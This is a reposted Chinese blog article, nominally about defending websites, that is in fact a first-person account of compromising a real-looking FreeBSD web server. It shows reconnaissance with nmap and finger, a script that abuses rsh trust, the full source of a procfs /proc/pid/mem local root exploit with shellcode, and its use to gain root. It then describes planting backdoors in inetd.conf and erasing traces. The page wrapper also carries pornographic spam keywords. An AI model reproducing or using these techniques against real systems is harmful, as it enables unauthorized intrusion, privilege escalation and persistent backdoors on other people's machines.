国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > 綜合 > 正文

防范網站入侵的一些技巧

2024-07-21 02:30:36
字體:
來源:轉載
供稿:網友
本文的寫作目的僅僅是為了給某些粗心大意的網絡管理人員一個警告——internet是 有趣但十分脆弱的,當你的計算機放在互聯網上給人們提供信息與服務的同時,會引 來網絡中的“好奇者”的窺探。而安全性與便利性是一對矛盾……在你對自己的網絡 做了一個安全策略考量之后,你應該確定你愿意以多大的風險來使用一些方便的服務, 當然這些服務——比如rlogin,可能只會使你少輸入一次密碼……

首先是確定目標——撞大運亂挑一個吧,試試能不能成功……呵,于是登上yahoo,上 taiwan的站點小遛了一下……唔,這個還不錯,我們姑且稱其為www.targe.com……還 是先ping一下看看情勢如何——別碰上有墻的就遜了……

C:>ping www.targe.com

Pinging www.targe.com [111.111.111.111] with 32 bytes of data:

Reply from 111.111.111.111: bytes=32 time=621ms TTL=241
Reply from 111.111.111.111: bytes=32 time=620ms TTL=241
Reply from 111.111.111.111: bytes=32 time=611ms TTL=241
Reply from 111.111.111.111: bytes=32 time=591ms TTL=241

速度還是很快的嘛……那就開始吧……

先登上某臺跳板臺灣的機器——這樣安全一些,不會留下你自己的ip……(當然,說句 題外話——這樣要追查到還不是很困難,曾經有個朋友同我說過,南方某大學一次被 黑,種種跡象都表明黑客來自美國,IP、更改后主頁上留下的話語……朋友受托去補 漏查源,發現那IP是美國一個提供免費shell的服務供應商……于是申請了一個shell, 通過一系列動作成為root,查看系統日志——真相大白,IP居然指向那家大學自身)。

通過跳板還有一個好處——如果你的嘗試失敗,在系統日志里留下來的是臺灣本土的 IP,這樣的登陸失敗命令比較不會引起系統管理員的注意……

C:>nc ***.***.***.*** 12345

就登上跳板了,12345端口里我預留了一個suid的shell……

好了,祭起寶刀——nmap……

# ./nmap -sT -O 111.111.111.111

Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)

Interesting ports on www.targe.com (111.111.111.111):
Port  State    PRotocol Service
7    open    tcp    echo
9    open    tcp    discard
19   open    tcp    chargen
21   open    tcp    ftp
23   open    tcp    telnet
25   open    tcp    smtp
37   open    tcp    time
79   open    tcp    finger
80   open    tcp    http
111   open    tcp    sunrpc
443   open    tcp    https
512   open    tcp    exec
513   open    tcp    login
514   open    tcp    shell
515   open    tcp    printer
540   open    tcp    uucp
3306  open    tcp    MySQL

TCP Sequence Prediction: Class=random positive increments
             Difficulty=55346 (Worthy challenge)
No OS matches for host (If you know what OS is running on it
…………
…………
Nmap run completed -- 1 IP address (1 host up) scanned in 17 seconds

唔,運氣還不錯,提供的服務不少,估計漏也少不到哪兒去……只是沒判斷出系統
類型,這些服務里看上去可以利用的有:

Port  State    Protocol Service

21   open    tcp    ftp
25   open    tcp    smtp
79   open    tcp    finger
80   open    tcp    http
111   open    tcp    sunrpc
512   open    tcp    exec
513   open    tcp    login
514   open    tcp    shell
540   open    tcp    uucp
3306  open    tcp    mysql

最近rpc攻擊非常流行,原因之一恐怕是方便易行——只要存在漏洞,遠程就可以
得到一個rootshell……甚至對計算機完全不懂的外行也能輕易實施,呵,那咱們
來看看這個111 port的sunrpc里有什么奧妙吧……

# rpcinfo -p 111.111.111.111&
21404
#  program vers proto  port service
  100000  2  tcp  111 rpcbind
  100000  2  udp  111 rpcbind

咦,看來沒戲唱哦……好在還有那么多服務,待偶慢慢試來……
看看是什么FTP服務器軟件吧,說不定有遠程溢出的漏洞呢

# ./nc 111.111.111.111 21
#

乖乖龍的東,什么輸出也沒有就關上了,這是如何一回事?

C:>ftp 111.111.111.111
Connected to 111.111.111.111.
Connection closed by remote host.

呵呵,看來過濾掉了嘛……怎么辦?看看25端口是運行什么SMTP服務的吧……

# ./nc 111.111.111.111 25
220 ***-***-***-*** ESMTP Sendmail 8.9.3/8.9.3; Wed, 5 Apr 2000 08:56:59 GMT

Sendmail 8.9.3/8.9.3?好象沒有什么致命的漏洞呀……

看看是什么WEB服務器先……

# (echo "head /http/1.0";echo;echo)|./nc -w 3 111.111.111.111 80

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
head to /http/1.0 not supported.<P>
Invalid method in request head /http/1.0<P>
<HR>
<ADDRESS>Apache/1.3.9 Server at ***-***-***-*** Port 80</ADDRESS>
</BODY></HTML>

阿帕奇這個版本的東東至少偶的印象中沒有什么“死穴”……

好在開了finger,俺就土土地先把用戶列表弄出來吧……

finger O@www.targe.com

[www.targe.com.tw]

root
aaa
bbb
ccc
ddd

總算有點收獲……,那么下一步該做什么呢?既然這臺主機開了512、513、514的r
系列服務,那就值得嘗試一下,說不定哪個偷懶的家伙直接在.rhosts里設了

+ username

那我就爽了……

順手寫了個shell script,讓它去一個一個地嘗試rsh命令,傳到肉雞上

# chmod 700 rsh.sh
# nohup ./rsh.sh www.targe.com

它會自動地在/etc/passwd和/etc/shadow里加上finger出來的用戶名,然后su過去,
再對遠程目標111.111.111.111執行rsh命令,成功則返回該用戶名……然后將備份的
passwd和shadow再拷回去……刪除臨時文件,生成報告文件……(或許是我對.rhosts
的理解還有問題,有時我在機里加上+ +但rcp時還會報Permission denied或者connect
refused,所以干脆都su成用戶——或許太笨;)

我便再去MUD里當我的大蝦了……半個小時后回來

登上肉雞,讀取報告文件.rsh.txt

# cat ./.rsh.txt
ccc

hehe,非常抱歉,看來俺得到一個shell了……

進去看看……

# rlogin -l ccc 111.111.111.111

Last login: Fri Mar 24 19:04:50 from 202.102.2.147
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
    The Regents of the University of California. All rights reserved.

FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999

You have mail.

呵,原來是FreeBSD 3.2-RELEASE呀,感覺不錯,進來了,看看我的權限如何吧……

> id
id
uid=1003(ccc) gid=1003(ccc) groups=1003(ccc)

看來能做的事還相當有限噢……再看看系統里有沒有別人先……

> w
w
9:03PM up 6 days, 2:37, 3 users, load averages: 0.00, 0.01, 0.00
USER       TTY   FROM       LOGIN@ IDLE WHAT
ccc        p0    **.**.***.***    6:04PM 2:41 -tcsh (tcsh)

不錯,就我自在逍遙……看看passwd吧……

> cat /etc/passwd
cat /etc/passwd
root:*:0:0:Charlie &:/root:/usr/local/bin/bash
aaa:*:1005:2000::/home/www:/usr/local/bin/tcsh
bbb:*:1006:1006::/home/bbb:/usr/local/bin/tcsh
ccc:*:1003:1003::/home/ccc:/usr/local/bin/tcsh
ddd:*:1008:1008:ddd:/home/www:/usr/local/bin/tcsh
eee:*:1009:1009:eee:/home/eee:/usr/local/bin/tcsh

很明顯/home/www就是www用戶的主目錄了……先看看俺ccc對該目錄有沒有寫權限

> echo test >/home/www/test
test: Permission denied.

看來如果想改他的主頁,還得另外想辦法啦……不過都已經有了一個用戶shell了,最
高權限其實也只有一步之遙啦,好吧,翻翻數據庫里有什么關于FreeBSD 3.2的記錄,
看來東西不多呀……而且有些還是安裝外來軟件包之后才帶來的風險……

先看看有沒有編譯的權限再說吧,否則還得找一臺BSD來編譯……

> ls /usr/local/bin|grep gcc
gcc

一般情況下自己安裝的gcc是會在這個目錄的啦,否則最好find一下比較保險。

這下方便了……可以直接傳代碼上來試……
試了幾個之后我找到這么個東西:

/* by Nergal */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>

char      shellcode[] =
"xebx0ax62x79x20x4ex65x72x67x61x6cx20"
"xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f"
"x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52"
"x51x53x50xebx18xe8xd8xffxffxff/bin/shx01x01x01x01"
"x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04x00";

#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int       pid,schild;
int       fd;
char      buff[40];
unsigned int  status;
char      *ptr;
char      name[4096];
char sc[4096];
char      signature[] = "signature";

signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc>1)
shaddr+=atoi(argv[1]);
if (argc>2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%xn",shaddr,stack);
fprintf(stderr,"Wait for "Press return" prompt:n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,'x',sizeof(name));
for (ptr = name; ptr < name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;

pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd < 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:

dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failedn");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "nPress return.n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);

}
}

偶說一下這個漏洞的由來吧:

早在1997年在*BSD里就發現了一個致命漏洞存在于procfs可以導致本地用戶奪取root
權限,*BSD核心中做了簡單的修補,但不幸的是,時至今日,我們仍然可以通過對
/proc/pid/mem的操作奪取root權限……當然,要利用這個程序拿ROOT,procfs文件系統
必須是mounted的,在默認的FreeBSD3.3里是mounted著的。我們先來看看這臺機器上的
情況如何,別白忙一場……

# /sbin/mount
/dev/wd0s1a on / (local, writes: sync 12 async 134)
/dev/wd0s1h on /home (local, writes: sync 2 async 120)
/dev/wd0s1f on /usr (local, writes: sync 2 async 93)
/dev/wd0s1g on /usr/local (local, writes: sync 2 async 16)
/dev/wd0s1e on /var (local, writes: sync 118 async 498)
procfs on /proc (local)

呵呵不錯,看到沒有那procfs on字樣?看來老天幫忙了……

一個無特權的進程A自我調用子進程B,A打開/proc/pid-of-B/mem,B執行一個setuid的
二進制程序,現在B與A的euid已經不同了,但A仍然通過/proc/pid-of-B/mem的描述符控
制B進程,就可能做很多事了……

In order to stop this exploit, an additional check was added to the code
responsible for I/O on file descriptors referring to procfs pseudofiles. In
  miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
     /*
     * Check to see whether access to target process is allowed
     * Evaluates to 1 if access is allowed.
     */
    #define CHECKIO(p1, p2)  
       ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) &&  
        ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) &&  
        ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) &&  
        ((p2)->p_flag & P_SUGID) == 0) ||  
       (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
  As we see, process performing I/O (p1) must have the same uids as
  target process (p2), unless... p1 has root priviledges.  So, if
  we can trick a setuid program X into writing to a file descriptor
  F referring to a procfs object, the above check will not prevent
  X from writing. As some of readers certainly already have guessed,
  F's number will be 2, stderr fileno... We can pass to a setuid
  program an appropriately lseeked file descriptor no 2 (pointing to
  some /proc/pid/mem), and this program will blindly write there
  error messages. Such output is often partially controllable (e.g.
  contains program's name), so we can write almost arbitrary data
  onto other setuid program's memory.
    
   This scenario looks similar to
   
   close(fileno(stderr)); execl("setuid-program",...)
    
  exploits, but in fact differs profoundly.  It exploits the fact
  that the properties of a fd pointing into procfs is  not
  determined fully by "open" syscall (all other fd are; skipping
  issues related to securelevels).  These properties can change
  because of priviledged code execution. As a result, (priviledged)
  children of some process P can inherit a fd opened read-write,
  though P can't directly gain such fd via open syscall.

懶得把它弄成中文的了……感興趣則看,不感興趣就跳過吧……

好,那就把漏洞利用程序rcp過去吧

>rcp root@***.***.***.**:/tmp/pcnfs.c /tmp/

其中***.***.***.**是以前的一個倒霉蛋,/下被加了+ +的家伙……

編譯運行——可能得對程序做一些小小的更改……

>gcc pcnfs.c -o p
>./p -4000 -10000
shellcode addr=0xbfbfcd4c stack=0xbfbfaddc
Wait for "Press return" prompt:
New passWord:
Press return.


id
uid=1003(ccc) gid=1003(ccc) euid=0(root) groups=1003(ccc)

wowowo!我是root啦……哈哈,也就是說,俺現在在這個系統里可以為所欲為了……
再試試對/home/www目錄有沒有寫權限吧……

echo test>/home/www/test.txt;ls /home/www|grep test
test.txt

呵,好了,大功告成……一般情況下做到這步后你原來修改主頁的欲望就會消散了,畢 竟咱們不是以破壞系統為樂的人,我們只是希望網絡社會更加健康,所以——俺也沒改 什么東西,只是留了幾個后門就bye-bye了……咱們有太多的系統可供學習,只好在這些 遠程機器上多學多看了——所以,留個后門還是必要的啦。

當然擦腳印等等活還是要干的,讓人發現系統曾經有人嘗試過入侵究竟不是一件好事。萬 事OK后就可以走人了。

這個root有重新啟動系統的壞習慣,三天后我再登上系統時,發現

# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
5(Operator), 20(staff), 31(guest)

呵,看來往/etc/inetd.conf里加的shell由root大人自己啟動了……至于這個系統,其實它 有安裝防火墻軟件的,要不是其中有一個用戶偷懶,還是很難入侵成功的……希望這對國內 的管理員也是一個警示吧,因為國內的網絡安全狀況實在還是不容樂觀……

 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 泾川县| 鲜城| 南投县| 大连市| 开江县| 县级市| 桐柏县| 拜城县| 宁化县| 上高县| 武强县| 九寨沟县| 济南市| 保定市| 乌海市| 黄陵县| 罗定市| 信阳市| 汶上县| 邛崃市| 乐安县| 东乡县| 区。| 兴化市| 江津市| 郎溪县| 舒兰市| 驻马店市| 邹平县| 仙居县| 冀州市| 银川市| 白银市| 开封县| 文水县| 阿合奇县| 易门县| 灵石县| 大理市| 泾阳县| 东光县|